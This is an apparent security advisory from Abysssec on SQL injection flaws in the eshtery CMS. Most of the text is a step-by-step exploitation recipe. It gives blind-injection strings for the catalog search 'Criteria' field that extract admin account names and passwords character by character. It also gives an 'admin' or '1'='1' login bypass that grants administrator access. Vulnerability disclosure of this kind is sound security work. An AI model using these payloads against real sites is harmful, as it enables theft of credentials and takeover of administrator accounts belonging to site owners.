Abysssec Research

1) Advisory information

Title	**: eshtery CMS Sql Injection Vulnerability**
Affected	**: eshtery copyrights 2003-2004**
Discovery	**: www.abysssec.com**
Vendor	**: http://eshtery.she7ata.com/projects/eshtery/**
Impact	**: Critical**
Contact	**: shahin [at] abysssec.com , info [at] abysssec.com**
Twitter	**: @abysssec**

2) Vulnerability Information

Class

1- SQL Injection

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Remotely Exploitable

Yes

Locally Exploitable

No

3) Vulnerabilities detail

1- SQL Injection:

For successful injection in this cms you have to pass two steps.

Step 1:

Go to this path:

```
http://Example.com/catlgsearch.aspx
```

PoC:

```
http://Exapmle.com/mainadmin/Main.aspx
```

And enter this value in Criteria field:

```
%') and 1=1 AND (Item.iname LIKE '%
```

And click on "go" button. You will see that the data will be loaded.

Now enter this value:

```
%') and 1=2 AND (Item.iname LIKE '%
```

With this value no data will be loaded.

So if we enter below value, with the following technique we can define the first character of AccName field of Admins table:

```
%') and 1=IIF((select mid(last(AccName),1,1) from (select top 1 AccName from admins))='a',1,2) AND (Item.iname LIKE '%
```

If the first character is 'a', the data will be loaded. If not, you will see nothing.

Second character:

```
%') and 1=IIF((select mid(last(AccName),2,1) from (select top 1 AccName from admins))='d',1,2) AND (Item.iname LIKE '%
```

And respectivly you can acqure another characters. As a result, the first value of AccName field from Admins table acqured. With this method you can obtain the Password value of Admin from Admins table. And going to other steps is not necessary.

Step 2:

the value of AccName obtained in the first step(for example: admin).

You can go to adminlogin.aspx page:

```
http://Example.com/adminlogin.aspx
```

And enter this value to login:

```
username : admin' or '1'='1
password : foo
```

Now you are admin of site.